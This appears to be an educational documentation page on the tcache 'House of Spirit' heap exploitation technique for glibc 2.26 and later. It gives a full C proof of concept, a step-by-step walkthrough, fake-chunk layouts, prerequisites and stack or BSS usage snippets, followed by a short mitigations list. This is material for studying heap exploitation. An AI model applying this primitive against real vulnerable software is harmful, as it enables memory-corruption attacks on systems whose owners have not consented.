Skip to main content

Overview

The House of Spirit attack on tcache allows an attacker to free a fake chunk and subsequently have malloc() return a pointer to that fake chunk. This tcache variant is significantly simpler than the original House of Spirit attack because tcache has fewer security checks.
The name “House of Spirit” comes from the original Malloc Maleficarum paper. The tcache version is much easier to exploit because _int_free calls tcache_put without checking if the next chunk’s size and prev_inuse fields are valid.

Glibc Version Compatibility

Works on: glibc 2.26 and later (any version with tcache) Key advantage: Unlike the original House of Spirit, you don’t need to create a fake chunk after the fake chunk being freed. The tcache path in _int_free bypasses many sanity checks.

What This Technique Achieves

1

Create a fake chunk

Craft a fake chunk structure in a controlled memory region (stack, data segment, etc.)
2

Free the fake chunk

Call free() on a pointer to the fake chunk’s data region
3

Get arbitrary pointer

Next malloc() of the same size returns a pointer to the fake chunk region
This gives you control over where malloc allocates memory, potentially allowing you to overwrite critical data structures.

Key Differences from Original House of Spirit

Tcache version is simpler:
  • No need to create a fake “next chunk” with valid size/prev_inuse fields
  • No wilderness/top chunk proximity checks
  • The PREV_INUSE bit is ignored for tcache chunks
  • Fewer size validation checks
Constraints that remain:
  • Chunk size must fall into tcache category (size <= 0x410, malloc arg <= 0x408 on x64)
  • The IS_MMAPPED (2nd LSB) and NON_MAIN_ARENA (3rd LSB) bits must be 0
  • Memory address must be 16-byte aligned

Source Code

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
	setbuf(stdout, NULL);

	printf("This file demonstrates the house of spirit attack on tcache.\n");
	printf("It works in a similar way to original house of spirit but you don't need to create fake chunk after the fake chunk that will be freed.\n");
	printf("You can see this in malloc.c in function _int_free that tcache_put is called without checking if next chunk's size and prev_inuse are sane.\n");
	printf("(Search for strings \"invalid next size\" and \"double free or corruption\")\n\n");

	printf("Ok. Let's start with the example!.\n\n");


	printf("Calling malloc() once so that it sets up its memory.\n");
	malloc(1);

	printf("Let's imagine we will overwrite 1 pointer to point to a fake chunk region.\n");
	unsigned long long *a; //pointer that will be overwritten
	unsigned long long fake_chunks[10] __attribute__((aligned(0x10))); //fake chunk region

	printf("This region contains one fake chunk. It's size field is placed at %p\n", &fake_chunks[1]);

	printf("This chunk size has to be falling into the tcache category (chunk.size <= 0x410; malloc arg <= 0x408 on x64). The PREV_INUSE (lsb) bit is ignored by free for tcache chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
	printf("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
	fake_chunks[1] = 0x40; // this is the size


	printf("Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
	printf("... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");

	a = &fake_chunks[2];

	printf("Freeing the overwritten pointer.\n");
	free(a);

	printf("Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
	void *b = malloc(0x30);
	printf("malloc(0x30): %p\n", b);

	assert((long)b == (long)&fake_chunks[2]);
}

Step-by-Step Walkthrough

1. Initialize Heap

malloc(1);
Make at least one allocation to initialize the heap and tcache structures.

2. Create Fake Chunk Structure

unsigned long long fake_chunks[10] __attribute__((aligned(0x10)));
Important: The array must be 16-byte aligned. The __attribute__((aligned(0x10))) ensures this.

3. Set Up Fake Chunk Size

fake_chunks[1] = 0x40;  // Size field
Chunk layout:
fake_chunks[0]  -> prev_size (unused for tcache)
fake_chunks[1]  -> size field (0x40)
fake_chunks[2]  -> user data starts here (this is what malloc returns)
fake_chunks[3+] -> rest of user data
Size field requirements:
  • Must be in tcache range: 0x20 <= size <= 0x410 on x64
  • Bits that must be 0: IS_MMAPPED and NON_MAIN_ARENA
  • PREV_INUSE bit is ignored (can be 0 or 1)
  • Must match the size of your subsequent malloc call (rounded up)
Size rounding example:
  • malloc(0x30) through malloc(0x38) all request chunk size 0x40
  • malloc(0x39) through malloc(0x48) all request chunk size 0x50
  • The size field must match the rounded-up size

4. Overwrite Pointer to Fake Chunk

a = &fake_chunks[2];  // Point to user data region, not size field!
Critical: The pointer must point to fake_chunks[2] (the user data), not fake_chunks[1] (the size field). This is because malloc returns a pointer to the data region, which is 16 bytes after the chunk header.

5. Free the Fake Chunk (Vulnerability Point)

This is where the vulnerability is exploited. If an attacker can control the pointer passed to free(), they can inject their fake chunk into tcache.
free(a);  // Frees &fake_chunks[2]
What happens:
  1. free() calculates the chunk header location: &fake_chunks[2] - 0x10 = &fake_chunks[0]
  2. Reads the size from fake_chunks[1]: 0x40
  3. Calls tcache_put() with minimal checks
  4. The fake chunk is now in the tcache bin for size 0x40

6. Allocate from Tcache

void *b = malloc(0x30);  // Returns &fake_chunks[2]
The tcache returns our fake chunk, giving us an allocation at a controlled location!

Fake Chunk Memory Layout

Address          | Content           | Description
-----------------+-------------------+---------------------------
&fake_chunks[0]  | (don't care)      | prev_size field
&fake_chunks[1]  | 0x40              | size field  <-- chunk header
&fake_chunks[2]  | (user data)       | This is what malloc returns
&fake_chunks[3]  | (user data)       | 
...              | ...               | 

Prerequisites

1

Arbitrary free

Ability to call free() with a controlled pointer value
2

Memory control

Ability to write to a memory region (stack, .bss, etc.) to create the fake chunk
3

Size knowledge

Know what size malloc() will be called with to match your fake chunk size

Common Use Cases

1. Stack-based exploitation:
// Fake chunk on stack
unsigned long long fake[10] __attribute__((aligned(0x10)));
fake[1] = 0x40;
free(&fake[2]);  // Inject into tcache
malloc(0x30);    // Returns &fake[2]
// Now you can write to stack via this allocation!
2. BSS-based exploitation:
// Global array that you can overwrite
extern unsigned long long target_array[100];
target_array[1] = 0x40;  // Set size
free(&target_array[2]);   // Free fake chunk
malloc(0x30);             // Returns &target_array[2]

Detection and Mitigation

Why this works:
  • Tcache was designed for speed, not security
  • tcache_put() has minimal validation
  • No checks for whether the chunk came from the heap
Potential mitigations:
  • Validate that freed chunks are within heap bounds
  • Add magic values to chunk headers
  • Implement address space layout randomization (ASLR)

Try It Yourself

Practice on Ret2 Wargames

Debug this technique in an interactive browser environment
  • [Original House of Spirit/techniques/house/house-of-spirit) - The fastbin version with more checks
  • Tcache Poisoning - Corrupt fd pointers in tcache
  • [House of Force/techniques/house/house-of-force) - Corrupt top chunk instead

Build docs developers (and LLMs) love